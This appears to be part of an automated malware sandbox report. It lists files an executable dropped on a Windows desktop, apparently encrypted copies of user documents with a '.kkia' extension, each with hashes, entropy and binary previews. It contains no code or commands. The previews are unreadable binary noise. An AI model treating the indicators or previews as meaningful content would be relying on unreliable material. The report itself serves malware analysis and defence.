SHA-512:	CA8DA270F2B6C90CD2A7BB8FB145562DDC7CE50D9EF9B584CA9F9AFB7161770BAC43841470C9F6AD6B34F2A30136C283A3622279AF1FFB76035BA639EB9004C2
Malicious:	false
Preview:	EOWRV.#..1..5+;....e..?..2.......V...,..z.~=...n..t.rg..f...n5..V...2W..>R..=.5".7Vh2....M....f}....O......]hck..)./3.....!."#A2..P.......h..E...0..+.c=V...'.`..;;..}.. .....uuR@...Qh.J[...t....f......._..#.!.LP..D.:%;.....:_D. i.q.G,a..G..../...9.......Q..nw.yw.{..q.p.N..$..X.X..$..G.G.3gLD6.e....v...W.&f.<...g.p.j\|...i...^.....I.:...`%..+......W(O.;...V.....^....%L...o.Z.L2..b...<.K........0..'.."."..#...2.@g...q...7.,n.....+..._..U...3..z..ks..(l.S.O..'Q..3I..\...iC+6sp..k.U..A{..$........1.....Rp...~=...-..3..X.Z(Z-..`Y.X...............2.....d.d.1x....=.nb.S{.0..od,\|.....Hkg.c...[.t./{tsD...C.v.x^=.....1...mB.q.ei...x......J..y....E.Ha.9V.......]`J.v.W5iy3..1..%y2+..x\.........O..\|._ke.J.Q.T...&.k5M9a)..H.% ..EQ@...&.. \...... .!..if.s.*.'......g..K.+..Bg.....>.......+\|z.2;.)\|q"....l...`...... .##..K..o...A..[....,......w..#.XS[gf4'.W.r..6..B;.SG.<..Gg........I.d.x>)......9?....8.......D.'..R....1l.N.&`cT~/dU's..Y.6..&\A.\|....0.y.

C:\Users\user\Desktop\GRXZDKKVDB.mp3

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.849348130289774
Encrypted:	false
SSDEEP:	24:MRXB5HrWKTnJcb5eaqsmb4igFH4mAuGBfD/q5XRaCPoQwkbD:/KTnCYanw4Tl5GBLqPFD
MD5:	67882A55279D24BF4DE922276BC74EB0
SHA1:	BCF3698A11BBE90996CC53FF7C60E22146E4208C
SHA-256:	4C5F3D7C76A8C6E64727192979CA25ECF28A85CBB4A2694C6B5D883C4258FA11
SHA-512:	F9E1BE8F142B5C49C58D5AEEA60877AC8CC0726D7924EF5E4FDDBAC6B55A98651E47C2AE27A7040914628C5E0B56AD53D85CEC31D33C87529C0A250166836CA2
Malicious:	false
Preview:	GRXZD]?...0...k.Y.$(;.'4.K.XK..f0.?.ep......S....[..l.t.....j...0IQ..oZ..0q.X7./g.D.l..ji\|....6sx...!.=Y'`...p=..d5...z\|..5..i...D.S..z.B&..^...&d..P.....7C..R#..i!.%.6@O..[.!_'s..g.+j\cxF5..T.a..(.hjQsi..]%.m....>./..A..O=..O...t.%.R..9...`....k....~&.O.a.q^tX...#Z.KI"=".8.a...7....6......tV...A..9.s...$NB....^G6.s......(...a..v.6.\|...+.t.t"bV1..E..c..Q.<N7....../5.d0.y.......5W.........c.^.C.@...E...C.....3g.<g\.X0..+....$..b..Z.c.p......)..K....!..Tb....}feM;R......V.......`n.`w.V.Y..a8...L>..}.3&.......]y#.K...~...\|..u...S.-....b.(.l.GV....ir.)....m66.d...+...k...u.e....}.V"........M....N.v.......PY.m....#.=.....1a.s........@.8..?..:.........V .%b..H.....Y.....k.u.em.M.....z^...]).;...X:.`.1V/D.d.Z.l.y..2.\|..c...G..SE.F..)]....Yhg.).8.L.....A..J.....M.]7..~....S....>.7....I..Q..}.;[.x..z.8y....K:..D#....Z.X._.P9...9*l._.OX......V.?8^..l.-...U..!.!x..LDA.9.^...;..8."....@.....DC..3..E..wD~-.....F..L.C.H'............!...k..-...Q..

C:\Users\user\Desktop\GRXZDKKVDB.mp3.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.849348130289774
Encrypted:	false
SSDEEP:	24:MRXB5HrWKTnJcb5eaqsmb4igFH4mAuGBfD/q5XRaCPoQwkbD:/KTnCYanw4Tl5GBLqPFD
MD5:	67882A55279D24BF4DE922276BC74EB0
SHA1:	BCF3698A11BBE90996CC53FF7C60E22146E4208C
SHA-256:	4C5F3D7C76A8C6E64727192979CA25ECF28A85CBB4A2694C6B5D883C4258FA11
SHA-512:	F9E1BE8F142B5C49C58D5AEEA60877AC8CC0726D7924EF5E4FDDBAC6B55A98651E47C2AE27A7040914628C5E0B56AD53D85CEC31D33C87529C0A250166836CA2
Malicious:	false
Preview:	GRXZD]?...0...k.Y.$(;.'4.K.XK..f0.?.ep......S....[..l.t.....j...0IQ..oZ..0q.X7./g.D.l..ji\|....6sx...!.=Y'`...p=..d5...z\|..5..i...D.S..z.B&..^...&d..P.....7C..R#..i!.%.6@O..[.!_'s..g.+j\cxF5..T.a..(.hjQsi..]%.m....>./..A..O=..O...t.%.R..9...`....k....~&.O.a.q^tX...#Z.KI"=".8.a...7....6......tV...A..9.s...$NB....^G6.s......(...a..v.6.\|...+.t.t"bV1..E..c..Q.<N7....../5.d0.y.......5W.........c.^.C.@...E...C.....3g.<g\.X0..+....$..b..Z.c.p......)..K....!..Tb....}feM;R......V.......`n.`w.V.Y..a8...L>..}.3&.......]y#.K...~...\|..u...S.-....b.(.l.GV....ir.)....m66.d...+...k...u.e....}.V"........M....N.v.......PY.m....#.=.....1a.s........@.8..?..:.........V .%b..H.....Y.....k.u.em.M.....z^...]).;...X:.`.1V/D.d.Z.l.y..2.\|..c...G..SE.F..)]....Yhg.).8.L.....A..J.....M.]7..~....S....>.7....I..Q..}.;[.x..z.8y....K:..D#....Z.X._.P9...9*l._.OX......V.?8^..l.-...U..!.!x..LDA.9.^...;..8."....@.....DC..3..E..wD~-.....F..L.C.H'............!...k..-...Q..

C:\Users\user\Desktop\GRXZDKKVDB.pdf

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.846606314635322
Encrypted:	false
SSDEEP:	24:UXSynBxx5KKhAApFs38rODufnZ0zpjXWOH7HoQ94RA2mpFGlf3/j3cyDrkbD:UhkKqT8rsuB0EEHoQ94dt3DcyWD
MD5:	7604F609D3D1E825E514DCF8216B70E7
SHA1:	43B67C68663BC78C18C64BC8A2B3C161F80E5990
SHA-256:	C3AF3A5192758CEFF8A0C8F1F2F52DD49ED1631A22DE890CF4AEA402A0E122D0
SHA-512:	8ADAA8C4112B803F8E9815BF114058F3429AD0095CA4451502F26C20690730F1F19415423D078FCC9F2F449CF4C21FCB105A9DC67CCE8EFAC7E400FB4BCB125A
Malicious:	false
Preview:	GRXZD....=..G..>........Q.,@.2.,a(.......gE.W..\|......'.J.fB....D..%....X2?.~K`...6Z.].&L&X......(..3...8...!$..@E..QR.J..z.C.5V!..k..@.j..g........2..fi.........r7.....Sl.9.X.f.{...N^6?.;v4D^.Q.N.....`b.c..O..m.....6.<..{..[....q..Z. .......G..^...].s..e.Q.H.z.~..\s..Sws.E.......u...Y.Q...<1..g.k....%.=.....1..p...E.....+. d.Mjt.)N..:6........a..e^_.\"Pb.....Q......]q..@8...Y.2#.^\YC.C.L.,..jj~...H.nP~..O.6jR...)...w3.Z$..%.[n.......$.@...G.PN..O.........6Dy..-..g.e.,..o.....g..1........4.X..C./.5A..a.u..u....YR.T4,L....\|...g...)..$..l..Y.......6.Q.E!0a.._.Zedt..1.Z#..(.....Z..M.........){.5"....?V=...})....j..zL..}Rr.........m....A.:....R....:....FO..z<'...,).}P..C............e.-..s.`-.sGc;..H.L..QM.,W.......t\|.......).K......L..=.......V{..l.@..:.R.M1...T.z...1vr...z&......].SD,....-..Q.)Lp.].....c..Q$...=3.=H.3....z...^...nRQ.1.T..'[..[.y....._.e1..2.M....E..#...f.... ....KE....f..l6.?.^...)..a.....zb... .....d.52....>....P~...

C:\Users\user\Desktop\GRXZDKKVDB.pdf.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.846606314635322
Encrypted:	false
SSDEEP:	24:UXSynBxx5KKhAApFs38rODufnZ0zpjXWOH7HoQ94RA2mpFGlf3/j3cyDrkbD:UhkKqT8rsuB0EEHoQ94dt3DcyWD
MD5:	7604F609D3D1E825E514DCF8216B70E7
SHA1:	43B67C68663BC78C18C64BC8A2B3C161F80E5990
SHA-256:	C3AF3A5192758CEFF8A0C8F1F2F52DD49ED1631A22DE890CF4AEA402A0E122D0
SHA-512:	8ADAA8C4112B803F8E9815BF114058F3429AD0095CA4451502F26C20690730F1F19415423D078FCC9F2F449CF4C21FCB105A9DC67CCE8EFAC7E400FB4BCB125A
Malicious:	false
Preview:	GRXZD....=..G..>........Q.,@.2.,a(.......gE.W..\|......'.J.fB....D..%....X2?.~K`...6Z.].&L&X......(..3...8...!$..@E..QR.J..z.C.5V!..k..@.j..g........2..fi.........r7.....Sl.9.X.f.{...N^6?.;v4D^.Q.N.....`b.c..O..m.....6.<..{..[....q..Z. .......G..^...].s..e.Q.H.z.~..\s..Sws.E.......u...Y.Q...<1..g.k....%.=.....1..p...E.....+. d.Mjt.)N..:6........a..e^_.\"Pb.....Q......]q..@8...Y.2#.^\YC.C.L.,..jj~...H.nP~..O.6jR...)...w3.Z$..%.[n.......$.@...G.PN..O.........6Dy..-..g.e.,..o.....g..1........4.X..C./.5A..a.u..u....YR.T4,L....\|...g...)..$..l..Y.......6.Q.E!0a.._.Zedt..1.Z#..(.....Z..M.........){.5"....?V=...})....j..zL..}Rr.........m....A.:....R....:....FO..z<'...,).}P..C............e.-..s.`-.sGc;..H.L..QM.,W.......t\|.......).K......L..=.......V{..l.@..:.R.M1...T.z...1vr...z&......].SD,....-..Q.)Lp.].....c..Q$...=3.=H.3....z...^...nRQ.1.T..'[..[.y....._.e1..2.M....E..#...f.... ....KE....f..l6.?.^...)..a.....zb... .....d.52....>....P~...

C:\Users\user\Desktop\GRXZDKKVDB.xlsx

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.826522808872358
Encrypted:	false
SSDEEP:	24:meuT5eOuLMf8e078gtE4IK62WyWF4zALxjEHXV1MgGnhk6PkpwWOPCm/pkbD:mefPLMQ8gO4ZBvqLxj2V1MgIhk6cpFO0
MD5:	5F19832CBF8B08BEC04E2EE546F7D097
SHA1:	27767A62F6E31B9542D350926A09C2E6D7B277B0
SHA-256:	71455CC6FF36A93A2E803633AAB006A964290164DFFEAD7F3DDB983C74D45679
SHA-512:	AFF6E4C05B2B0A4F969B8B4008B8ABC04A894069BD1B0B3E6DCEF3045148A9978F4E7EE66F0AC4814EEE91EAD543412B89FDFF18A387EBE3DE263EC3F2560EC6
Malicious:	false
Preview:	GRXZD&>..=/X....i..P2.._.r.f../a..U...k.....G..."E..0R.A=.3..G.3.w.>8.lVgA.x.'j s...m....aNi\|+^...c.j.g6..Sa.(.F].4.6....j.Z......,E.O.....7<i...j.v..,..9..9...7.c.o<.....j.A.-....-......VxH...H.._K.k..9..i.K.E.`n...%.~......C.?b.S=.H8s:6..\..l../=.w..d.?....UW...'5.z&g..d..CU$....v.]#......$..."!.p....-j.6......L...m..9.F...N.c.....{.A.A\|....r..NG...DJ......UO@.6.M.-..c./[.x.:cH....."^k.X.@o.O$..[....G../O@_..+6....-.7'=\|......3..aU1_,0<.......}V.....P..<yjf.u..mW....i.....^..v.[K....N."e0q2.\|......E..-.?.KP....Wc.}.(......[.F."N!..Xv......-...y.@.....7..~...k\.....l......0A.J..D...i....}.V[.\|n.L...(z%\.mN...\|^H........"......VM..5.3.\|]....P...(C.~5..6;D..q.h....L:. n.....M.FFXJ. .Z.....$Q.eS.......70......-.."1..bm:......gGJ[2.?...b..$;...Nf.............88....};.Hv9M.10O.2\|M{B.....Ax.n.n7z.. .l9.;'..F.~.L@R..V......H...}q.H.".Fr...V.g..mpDR..3A6.!....]......(I.$..{.....=@.s+...uk.B{.Vt.A..bi...4._......~....z....+..?-...+C:..V.A....A..#

C:\Users\user\Desktop\GRXZDKKVDB.xlsx.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.826522808872358
Encrypted:	false
SSDEEP:	24:meuT5eOuLMf8e078gtE4IK62WyWF4zALxjEHXV1MgGnhk6PkpwWOPCm/pkbD:mefPLMQ8gO4ZBvqLxj2V1MgIhk6cpFO0
MD5:	5F19832CBF8B08BEC04E2EE546F7D097
SHA1:	27767A62F6E31B9542D350926A09C2E6D7B277B0
SHA-256:	71455CC6FF36A93A2E803633AAB006A964290164DFFEAD7F3DDB983C74D45679
SHA-512:	AFF6E4C05B2B0A4F969B8B4008B8ABC04A894069BD1B0B3E6DCEF3045148A9978F4E7EE66F0AC4814EEE91EAD543412B89FDFF18A387EBE3DE263EC3F2560EC6
Malicious:	false
Preview:	GRXZD&>..=/X....i..P2.._.r.f../a..U...k.....G..."E..0R.A=.3..G.3.w.>8.lVgA.x.'j s...m....aNi\|+^...c.j.g6..Sa.(.F].4.6....j.Z......,E.O.....7<i...j.v..,..9..9...7.c.o<.....j.A.-....-......VxH...H.._K.k..9..i.K.E.`n...%.~......C.?b.S=.H8s:6..\..l../=.w..d.?....UW...'5.z&g..d..CU$....v.]#......$..."!.p....-j.6......L...m..9.F...N.c.....{.A.A\|....r..NG...DJ......UO@.6.M.-..c./[.x.:cH....."^k.X.@o.O$..[....G../O@_..+6....-.7'=\|......3..aU1_,0<.......}V.....P..<yjf.u..mW....i.....^..v.[K....N."e0q2.\|......E..-.?.KP....Wc.}.(......[.F."N!..Xv......-...y.@.....7..~...k\.....l......0A.J..D...i....}.V[.\|n.L...(z%\.mN...\|^H........"......VM..5.3.\|]....P...(C.~5..6;D..q.h....L:. n.....M.FFXJ. .Z.....$Q.eS.......70......-.."1..bm:......gGJ[2.?...b..$;...Nf.............88....};.Hv9M.10O.2\|M{B.....Ax.n.n7z.. .l9.;'..F.~.L@R..V......H...}q.H.".Fr...V.g..mpDR..3A6.!....]......(I.$..{.....=@.s+...uk.B{.Vt.A..bi...4._......~....z....+..?-...+C:..V.A....A..#

C:\Users\user\Desktop\KLIZUSIQEN.png

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.873263884281847
Encrypted:	false
SSDEEP:	24:bNZbONUdUQVfTo8aq0ffm9hxXmuv32MfB7nmjTx0kcwYTPmOKyg7IARPwVmkbD:hZOotTuBChxX52MZb0gBR1MmD
MD5:	C1EA208A6CE7531B32AEE596FB3A9B98
SHA1:	DB99FA9CA41B7547816A8F98284D0A51D54F8663
SHA-256:	16F5CDFC428E0CE6E33DE8F5FD5DCA2336AA71DF499212AAB39A0A95B47DAE53
SHA-512:	EFDC47A014B53AE05FD5D4281A5502EBB9F48333BBE325CE78E29DF171087F9F22B572FB60321DA54E07D6662350512F65FF1721566C607E241FEED1CAFD19FD
Malicious:	false
Preview:	KLIZU>....c.....I.~...Y.=..#1......T:plB.)...K....f..H....)x.D.}...r~.v..........+........y...K.o_.{h.UU......i..Q.%....(..t...Z...K..u...\~.i_.mEn.1.t.-..B%..%F.f"...)f. ..C.p..f.t.yo..2......t..0.......F.....(=...A@.w.<.B.&.JH.s...h..;..;....yi.h.a....LF..Z...=.I...V.A.zs..q..#..,jv.........\|Z8..:w..X..n.....S..w.....a+.....p..Pz..J.....%..U.P.GfA.fjg.G.m.1....W.9.....kY...`.../]d..I..Q..t.Y.y..6..)H..C..............s?...a..UAZ.....\|...;x@.Id0i.3\|5..G.9t...^..C]Q.......{.~c...q.T.....$)..>o].k'...........{..g..u...z1.d.^...{......l..mf`.2..$..N.L$.......C.......f....{7x.....f..LW.....5.gt..".......n.3.......{,e.H....%.q2.RlYo...]..1...._..oc<..z.gl.>..WT..D..H...9.nUu..f.D]..0..s.5r$P0...'..!0^.......N.]..[.._.i.......Mu.A./NTH...+y..}......O........7..eb.....y].g..\~...._L..vf.\|....f..4 ..%r..j.A..G>.h>.N5.....$-.W8.fH...d...9...w.CW.6.0q.J....l..R...M.x....?...v...@m...,.........1.......g81.+M4..;zb.....!\|.II....`.:S.`....3.}...D...q

C:\Users\user\Desktop\KLIZUSIQEN.png.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.873263884281847
Encrypted:	false
SSDEEP:	24:bNZbONUdUQVfTo8aq0ffm9hxXmuv32MfB7nmjTx0kcwYTPmOKyg7IARPwVmkbD:hZOotTuBChxX52MZb0gBR1MmD
MD5:	C1EA208A6CE7531B32AEE596FB3A9B98
SHA1:	DB99FA9CA41B7547816A8F98284D0A51D54F8663
SHA-256:	16F5CDFC428E0CE6E33DE8F5FD5DCA2336AA71DF499212AAB39A0A95B47DAE53
SHA-512:	EFDC47A014B53AE05FD5D4281A5502EBB9F48333BBE325CE78E29DF171087F9F22B572FB60321DA54E07D6662350512F65FF1721566C607E241FEED1CAFD19FD
Malicious:	false
Preview:	KLIZU>....c.....I.~...Y.=..#1......T:plB.)...K....f..H....)x.D.}...r~.v..........+........y...K.o_.{h.UU......i..Q.%....(..t...Z...K..u...\~.i_.mEn.1.t.-..B%..%F.f"...)f. ..C.p..f.t.yo..2......t..0.......F.....(=...A@.w.<.B.&.JH.s...h..;..;....yi.h.a....LF..Z...=.I...V.A.zs..q..#..,jv.........\|Z8..:w..X..n.....S..w.....a+.....p..Pz..J.....%..U.P.GfA.fjg.G.m.1....W.9.....kY...`.../]d..I..Q..t.Y.y..6..)H..C..............s?...a..UAZ.....\|...;x@.Id0i.3\|5..G.9t...^..C]Q.......{.~c...q.T.....$)..>o].k'...........{..g..u...z1.d.^...{......l..mf`.2..$..N.L$.......C.......f....{7x.....f..LW.....5.gt..".......n.3.......{,e.H....%.q2.RlYo...]..1...._..oc<..z.gl.>..WT..D..H...9.nUu..f.D]..0..s.5r$P0...'..!0^.......N.]..[.._.i.......Mu.A./NTH...+y..}......O........7..eb.....y].g..\~...._L..vf.\|....f..4 ..%r..j.A..G>.h>.N5.....$-.W8.fH...d...9...w.CW.6.0q.J....l..R...M.x....?...v...@m...,.........1.......g81.+M4..;zb.....!\|.II....`.:S.`....3.}...D...q

C:\Users\user\Desktop\NVWZAPQSQL.docx

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.854165237936842
Encrypted:	false
SSDEEP:	24:FpsmsVhNdSXiZEzat7cnjrIr7f5XV4awgDCm4QaRjD0YZl6hpel7LVhDkbD:FpsmsZdSBuJQjrIr75eiaFDlYSfVhSD
MD5:	886EB50EA29A3399DBC992572FEF3F62
SHA1:	64EA8EA379BD285575A4AD5724CB6AE9ED9AADAD
SHA-256:	8E88427D68E471F5B865E7280C874B9EA78E710FE86A8CE3F2F9020D1C059739
SHA-512:	3F2A80D4A1F2840E85841D26470A54727B8CFFB7E5729184A24763327973A421DC18F0BBEECA7E460689481DFF7AB27168735FDF4AA73A43E073C2B52E41A71F
Malicious:	false
Preview:	NVWZA..O>..j!Px..eAs.][....3.......>.....R.}.r..........0..y.t.A.>"h.^.F......}^....R.k3.. ......EwOo.(....\Y[?.3.K).5._s..j.j ..l.....`.y...{-...npH.u.....Q.$.......6..M3...i-AzX/....2UZ....uX..@$D.<...J.T..a.a....C..Mx..v...LPO.{.i.......Q.../.M.$e.?.0.}....D.L.-B....Oe._?X.=.6..)...J.....U.........(4.l...&_./..M.V.(..7..HL.j.M.L.r...[..R.b._..u...K....;.w..-Ci..<K.0.@(.u.(.xM).=..,.~(?.....d-^....s.c...UI...zX.a.....3.\?.......3....H..h......@0.bT.8;..@<.1....^..K.`.).I?.+..`8(u..:2.kn..V...............M."1..5e..q,1.T...:......l...6.J4..X....6.j....-..x+>y`..JO..m..(7;.O3i..+....O.=...-...........^...4GS.,..e.S.@..."..a...=.q.Y.X.^....%}E#.......(#h.&..\|..ji.^h.nv...%.....d.....+#\|.G.E.....5.~....w.7...T.c.4.N..<...j.N..}.Yh.....!V.-a..n(..F..WN.l6H.J..c.)=0....qDz.H6i.?...d:...RZ..[..a...?sDQUh2.@.).....<..x.3..'l]...H.._.nD.d.j......R.v..=.\|...9...l>H....E..S.=..W..Y.....D..</....W.....\.......`.v......9.L.1U.Ud.-..1....:..9.

C:\Users\user\Desktop\NVWZAPQSQL.docx.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.854165237936842
Encrypted:	false
SSDEEP:	24:FpsmsVhNdSXiZEzat7cnjrIr7f5XV4awgDCm4QaRjD0YZl6hpel7LVhDkbD:FpsmsZdSBuJQjrIr75eiaFDlYSfVhSD
MD5:	886EB50EA29A3399DBC992572FEF3F62
SHA1:	64EA8EA379BD285575A4AD5724CB6AE9ED9AADAD
SHA-256:	8E88427D68E471F5B865E7280C874B9EA78E710FE86A8CE3F2F9020D1C059739
SHA-512:	3F2A80D4A1F2840E85841D26470A54727B8CFFB7E5729184A24763327973A421DC18F0BBEECA7E460689481DFF7AB27168735FDF4AA73A43E073C2B52E41A71F
Malicious:	false
Preview:	NVWZA..O>..j!Px..eAs.][....3.......>.....R.}.r..........0..y.t.A.>"h.^.F......}^....R.k3.. ......EwOo.(....\Y[?.3.K).5._s..j.j ..l.....`.y...{-...npH.u.....Q.$.......6..M3...i-AzX/....2UZ....uX..@$D.<...J.T..a.a....C..Mx..v...LPO.{.i.......Q.../.M.$e.?.0.}....D.L.-B....Oe._?X.=.6..)...J.....U.........(4.l...&_./..M.V.(..7..HL.j.M.L.r...[..R.b._..u...K....;.w..-Ci..<K.0.@(.u.(.xM).=..,.~(?.....d-^....s.c...UI...zX.a.....3.\?.......3....H..h......@0.bT.8;..@<.1....^..K.`.).I?.+..`8(u..:2.kn..V...............M."1..5e..q,1.T...:......l...6.J4..X....6.j....-..x+>y`..JO..m..(7;.O3i..+....O.=...-...........^...4GS.,..e.S.@..."..a...=.q.Y.X.^....%}E#.......(#h.&..\|..ji.^h.nv...%.....d.....+#\|.G.E.....5.~....w.7...T.c.4.N..<...j.N..}.Yh.....!V.-a..n(..F..WN.l6H.J..c.)=0....qDz.H6i.?...d:...RZ..[..a...?sDQUh2.@.).....<..x.3..'l]...H.._.nD.d.j......R.v..=.\|...9...l>H....E..S.=..W..Y.....D..</....W.....\.......`.v......9.L.1U.Ud.-..1....:..9.

C:\Users\user\Desktop\NVWZAPQSQL.jpg

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.837151987272054
Encrypted:	false
SSDEEP:	24:F+2h8vpPdg5wpsBckrEdODBE+bofGrl3c0c5go/4CjLoK9Z2+pnA/jkbD:FDWvpPdlZkrPNE+bo43cxH4Sf2l/yD
MD5:	6D50B5F4433D979989965395F78354E3
SHA1:	6AB8F94A344AEF2D77BBFEE96A26FB4605197EC2
SHA-256:	BD1AFD1A24924CC27A0CE117E60B1927F3ADE0FC75EBA0055400D34011EE9BA9
SHA-512:	52D12B55C8D9D20A6352CF235D36876BCA14FEFC7D813818926FB5FAB60FBAB3FCA81BDED20AD0E5479B2C237D6F214CDCD995E0018328B2C4EAA3614DA89B11
Malicious:	false
Preview:	NVWZA[.r.....]"A.n. X.Q....%........m._._c....sr...s.O.9.?..0c5....N..H...2:.zL..1.......7.......W....B..h6...._y.%4..^.h....{..^....n.p.@H..>./.;h.aR.D9..Ht...k.Z......n...5..3..A/&q...f3..g..........?....E...`...6.....?.....z..........Af.{]/.#...BO~..WOP...,..$...J.;$f8.-;.s.......k_..F.TP...H.0].,.-.........!H.......Z.:..~Wd.a.}..Qb..&'L......eg..\s^.f..J.....+..2.V-...i+...a`<=....\...d....]....I .}.k..Ns..u\........".3.J\|.2.mZ.....{..wO.....'v.Z.M......w\.U..0.Q9/.5R......>....y".T9/..b......K..9...e.....p..."me...i.....:.8Y....+..N.....(......<..<B..\.1 .L..y.@D....`..\.2.3p...Re-t.\....h....[......Fib...q......j.4..'..p. .!..iG...z.h...$..w.......w..O?.1 ..2.Y..o"k5BmM`...Z0..A.?...eZ..".C....yd.p$5b.A/o.........U..[.v..m.d......e........1h.F.J(%..4\|UV..L9..8.D.2M.}......-.W....><Z-r....1.%.._...._...4UB.-.......R..g~.^.d....6....I....j.z.DD.fn....f.'.. .N{...b..&Gmh.z.a.P.z...H. .....8...{....Tu.k..f......el...U..w

C:\Users\user\Desktop\NVWZAPQSQL.jpg.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.837151987272054
Encrypted:	false
SSDEEP:	24:F+2h8vpPdg5wpsBckrEdODBE+bofGrl3c0c5go/4CjLoK9Z2+pnA/jkbD:FDWvpPdlZkrPNE+bo43cxH4Sf2l/yD
MD5:	6D50B5F4433D979989965395F78354E3
SHA1:	6AB8F94A344AEF2D77BBFEE96A26FB4605197EC2
SHA-256:	BD1AFD1A24924CC27A0CE117E60B1927F3ADE0FC75EBA0055400D34011EE9BA9
SHA-512:	52D12B55C8D9D20A6352CF235D36876BCA14FEFC7D813818926FB5FAB60FBAB3FCA81BDED20AD0E5479B2C237D6F214CDCD995E0018328B2C4EAA3614DA89B11
Malicious:	false
Preview:	NVWZA[.r.....]"A.n. X.Q....%........m._._c....sr...s.O.9.?..0c5....N..H...2:.zL..1.......7.......W....B..h6...._y.%4..^.h....{..^....n.p.@H..>./.;h.aR.D9..Ht...k.Z......n...5..3..A/&q...f3..g..........?....E...`...6.....?.....z..........Af.{]/.#...BO~..WOP...,..$...J.;$f8.-;.s.......k_..F.TP...H.0].,.-.........!H.......Z.:..~Wd.a.}..Qb..&'L......eg..\s^.f..J.....+..2.V-...i+...a`<=....\...d....]....I .}.k..Ns..u\........".3.J\|.2.mZ.....{..wO.....'v.Z.M......w\.U..0.Q9/.5R......>....y".T9/..b......K..9...e.....p..."me...i.....:.8Y....+..N.....(......<..<B..\.1 .L..y.@D....`..\.2.3p...Re-t.\....h....[......Fib...q......j.4..'..p. .!..iG...z.h...$..w.......w..O?.1 ..2.Y..o"k5BmM`...Z0..A.?...eZ..".C....yd.p$5b.A/o.........U..[.v..m.d......e........1h.F.J(%..4\|UV..L9..8.D.2M.}......-.W....><Z-r....1.%.._...._...4UB.-.......R..g~.^.d....6....I....j.z.DD.fn....f.'.. .N{...b..&Gmh.z.a.P.z...H. .....8...{....Tu.k..f......el...U..w

C:\Users\user\Desktop\NVWZAPQSQL.xlsx

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.856963549422315
Encrypted:	false
SSDEEP:	24:Fv+jaaL4Kw/FQny/MK2IKbhq+rVcWA6cBBVfUtbE49radBCtTnAPOkbD:FaEKMFF/MKUY+qv60BVfkY496BCtTn+n
MD5:	B2AF2BED727E9DAFAD30643F0F1E40F6
SHA1:	210846F560FE470700CC683A34F271F54AAAA241
SHA-256:	8297399112F34384CD3587C1A41493265FE2F7C0615BC75BA534D8190A77B424
SHA-512:	E2EBE2460C5FA378C4918FDBE3617ECAC99D14821E5A7E5D8B161999682FF1FB73F392E1ED2ED5D1AB6C14520FADEEF9AEA9D8AAFEEA75730852F1D536ABAB66
Malicious:	false
Preview:	NVWZA..5..:+.....{..1..8j....N.(..A..b.L...................O..2.g.r..9./..c......^.3.Z...x....#%....V.....EF...+..8....`\|..Vy.,g....9..\|3.N.#.J.2..S...u.6^A.3..E;...v"..!......K9...>..y`'<.._m..p0....]...o.a0.w..QZ.d .T5...&.._._XHD.#....}J.... ..c.tlP.D.@.....0.B.]......"A...LV.......%.P.f......GTmmt....w.\....pZv.S.A.....yx.)....\|Q.>.....Z.A.Z.>.oL..CC0.......r.X..[)...... S.............9..K.b....A`....%....m}e..&......<s...L.Y!... );.d......V...#e........;%....6...."..gR.Yd...P..A?../...[^.@8.........pM.?.....7.....T-.$..i.Z4..0.M.\|...>...c.R..,..4...z.X.E......:uc.P....l..u. .'..z.........6Z)K..^.X.GQ...].Z.. ~...a.ux..N.9.F.3..2..X........=s...;..'.7..>vWxn(..;.t.)\|F.....gp.R3.....SO5....y..~....}P.Sf.../.Ll...1...En`.uEmKw..y...OH.$.....DX...f".~.........C..+.....#....=s.....G....0D.......n..e.r5..X../Q!.=5..W.z4...O.-aY.r.m...................s.@....L+.....,~x...X..v.v..\.^oq..-......-......c.A...li...F..\v...3....?!21*..

C:\Users\user\Desktop\NVWZAPQSQL.xlsx.kkia (copy)

Download File

